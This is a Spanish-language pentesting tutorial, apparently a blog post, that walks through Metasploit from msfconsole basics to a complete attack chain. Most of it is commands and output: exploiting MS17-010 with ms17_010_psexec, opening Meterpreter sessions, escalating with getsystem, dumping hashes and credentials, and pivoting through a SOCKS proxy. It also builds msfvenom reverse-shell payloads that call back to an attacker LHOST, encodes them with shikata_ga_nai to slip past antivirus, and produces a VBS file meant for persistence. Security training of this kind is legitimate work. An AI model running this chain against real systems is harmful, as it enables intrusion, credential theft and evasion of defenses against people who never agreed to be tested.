Metasploit Framework

Hoy vamos a sumergirnos de lleno en el fascinante mundo de Metasploit Framework, esa navaja suiza del pentesting que nos permite descubrir, explotar y profundizar en vulnerabilidades de forma modular. A lo largo de esta guía, reformularé cada concepto de la guía original, adaptándolo a un estilo conversacional y práctico, ¡pero sin perder ni un ápice de detalle!


1. Primeros pasos con MSFconsole

MSFconsole es la interfaz principal de Metasploit. Arranca con msfconsole en tu terminal (o msfconsole -q para un inicio silencioso). Verás algo así:

davidalvk@maquina$ msfconsole

=[ metasploit v6.x.x ]=
+ -- --=[ exploits: 2000 | auxiliary: 1200 | post: 400 ]
+ -- --=[ payloads: 600 | encoders: 50 | nops: 10 ]
+ -- --=[ evasion: 10 ]

msf6 >

Una vez dentro, estos son los comandos básicos que debes conocer:

ComandoDescripción
show exploitsLista todos los exploits disponibles.
show payloadsMuestra las cargas útiles (payloads).
show auxiliaryDespliega módulos auxiliares (fuzzing, escaneo, etc.).
search <término>Busca módulos por nombre, CVE, autor, etc.
info <módulo>Detalles completos de un módulo.
use <módulo o índice>Carga el módulo deseado.
show optionsLista las opciones de configuración de un módulo activo.
set <opción> <valor>Asigna valores a RHOSTS, LHOST, RPORT, payload, etc.
setg <opción> <valor>Asigna valores globales persistentes.
exploit (o run)Ejecuta el ataque.
sessions -lEnumera sesiones activas (shells/Meterpreter).
sessions -i <id>Interactúa con la sesión especificada.

2. Navegando la estructura de Metasploit

El código fuente de Metasploit suele instalarse en /usr/share/metasploit-framework. Ahí encontrarás carpetas clave:

  • modules/: todos los módulos (auxiliary, encoders, exploits, nops, payloads, post).
  • plugins/: scripts para ampliar msfconsole.
  • scripts/: utilidades en Ruby o Python para tareas específicas.
  • tools/: herramientas de línea de comandos auxiliares.

Este árbol de directorios es tu mapa: cuando quieras personalizar o crear módulos, sabrás dónde buscar.


3. Módulos: Exploit, Auxiliar, Payload, Encoder y Post

3.1. Exploits

Los exploits son scripts que aprovechan vulnerabilidades concretas. Ejemplo:

msf6 > search ms17_010

Mostrará resultados como:

0  exploit/windows/smb/ms17_010_psexec   normal  Yes  MS17-010 EternalRomance...

Para cargarlo:

msf6 > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > show options

Esto revela parámetros obligatorios:

Name     Current Setting  Required  Description
----     ---------------  --------  -----------
RHOSTS                   yes       IP(s) objetivo
RPORT    445             yes       Puerto destino (TCP)
...payload options...

3.2. Payloads

Son los trozos de código que ejecutan acciones en el sistema blanco. Por ejemplo windows/meterpreter/reverse_tcp:

LHOST  10.10.14.15   yes  Dirección local para el reverse shell
LPORT  4444         yes  Puerto a escuchar

3.3. Auxiliares

Módulos para tareas previas o complementarias: escaneo, fuzzing, dumping de credenciales, etc.

msf6 > use auxiliary/scanner/smb/smb_ms17_010

3.4. Encoders y NOPs

Herramientas para transformar payloads y mantener tamaños constantes, cruciales para evadir firmas.

3.5. Post-explotación

Scripts para profundizar tras el acceso: recolección de datos, captura de pulsaciones, pivoteo, etc.

meterpreter> run post/windows/gather/credentials


4. Configurando objetivos y persistencia de opciones

Antes de lanzar un exploit, asegúrate de fijar correctamente tus objetivos y puertos:

msf6 > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > show options

Verás parámetros como RHOSTS y RPORT. Para asignarlos:

msf6 exploit(...)> set RHOSTS 192.168.1.10
msf6 exploit(...)> set RPORT 445

Si vas a repetir estos valores en varios módulos, usa setg para que sean globales:

msf6 > setg RHOSTS 192.168.1.0/24
msf6 > setg THREADS 10

De este modo, no tendrás que reconfigurar cada módulo individualmente.


5. Ejecutando exploits y manejando sesiones

Para lanzar el ataque puedes usar exploit o run (idénticos):

msf6 exploit(...)> exploit

Cuando el exploit tiene éxito, verás un mensaje como:

[*] Started reverse TCP handler on 10.10.14.15:4444
[*] Sending exploit payload...
[*] Meterpreter session 1 opened (10.10.14.15:4444 -> 192.168.1.10:49158)

Lista sesiones activas con:

msf6 > sessions -l

E interactúa con una sesión:

msf6 > sessions -i 1
meterpreter>

Ahora tienes un shell interactivo bajo Meterpreter.


6. Escalada de privilegios y reconocimiento interno

Una vez dentro, el siguiente paso es elevar privilegios y mapear la red interna. Con Meterpreter, usa módulos de post-explotación:

meterpreter> run post/windows/escalate/getsystem

Para identificar usuarios y privilegios:

meterpreter> sysinfo
meterpreter> getuid

Y para volcar credenciales del sistema:

meterpreter> run post/windows/gather/credentials/windows_autologin
meterpreter> run post/windows/gather/hashdump

También puedes pivotar a otras máquinas creando túneles SOCKS:

msf6 > use auxiliary/server/socks4a
msf6 auxiliary(socks4a) > set SRVPORT 1080
msf6 auxiliary(socks4a) > run

Configura tu proxychains apuntando a 127.0.0.1:1080 y navega por la red interna.


7. Creando payloads con MSFVenom

MSFVenom combina las antiguas utilidades msfpayload y msfencode en una sola herramienta versátil para generar y transformar cargas útiles. De forma general, utilizamos:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f exe -o shell.exe

7.1. Parámetros clave de MSFVenom

  • -p <payload>: especifica el payload (por ejemplo windows/meterpreter/reverse_tcp).
  • LHOST=<IP> y LPORT=<puerto>: establecen la dirección y puerto donde escuchará la conexión inversa.
  • -f <formato>: define el tipo de archivo de salida (exe, elf, raw, python, dll, vbs, etc.).
  • -o <archivo>: ruta y nombre del fichero generado.
  • -b <caracteres>: bad characters, secuencia de bytes a evitar dentro del shellcode.
  • -e <encoder>: encoder para ofuscar el payload (por ejemplo x86/shikata_ga_nai).
  • -i <iteraciones>: número de pasadas del encoder, incrementa la entropía del binario.

7.2. Ofuscación con x86/shikata_ga_nai

Uno de los encoders más populares es Shikata Ga Nai, un encoder polimórfico basado en XOR con retroalimentación. Sus características:

  • Polimórfico: cada pasada genera un bloque distinto, cambiando la clave XOR y reubicando secciones de código.
  • Iterativo: al emplear -i <n>, se aplica el algoritmo n veces, aumentando la ofuscación. Por ejemplo: msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=10.10.14.15 LPORT=4444 \ -e x86/shikata_ga_nai -i 5 \ -f exe -o shell_obfuscated.exe
  • Evitación de firmas: al variar el shellcode, resulta más difícil para sistemas IDS/IPS y antivirus reconocer patrones estáticos.
  • Tamaño: cada iteración añade bytes de sobrecarga (headers y tablas), así que conviene medir el resultado: ls -lh shell.exe shell_obfuscated.exe Si el binario crece demasiado, ajusta el número de iteraciones o combina con formatos más compactos.

7.3. Buenas prácticas al usar encoders

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.15 LPORT=4444 -b "\x00\x0a" -e x86/shikata_ga_nai -i 3 -f raw > shell.bin
  • -b "\x00\x0a" excluye el byte nulo (x00) y el salto de línea (x0a).
  • -e x86/shikata_ga_nai aplica el encoder Shikata Ga Nai.
  • -i 3 especifica 3 iteraciones para aumentar la ofuscación.

8. Ejemplo completo: de escaneo a shell

Vamos a unir todo en un flujo práctico:

  • Escaneo: descubre hosts con SMB vulnerable.
msf6 > use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.0/24 msf6 auxiliary(smb_ms17_010) > run
  • Exploit: carga y configura el módulo ms17_010_psexec.
msf6 > use exploit/windows/smb/ms17_010_psexec msf6 exploit(...)> set RHOSTS 192.168.1.55 msf6 exploit(...)> set LHOST 10.10.14.15 msf6 exploit(...)> run
  • Sesión Meterpreter: interactúa y eleva privilegios.
msf6 > sessions -i 1 meterpreter> run post/windows/escalate/getsystem
  • Post-explotación: recolecta credenciales.
meterpreter> run post/windows/gather/hashdump
  • Persistencia: genera un payload con persistencia usando MSFVenom.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=4444 \ -f vbs -o persist.vbs

Comparte esta Publicación en Redes Sociales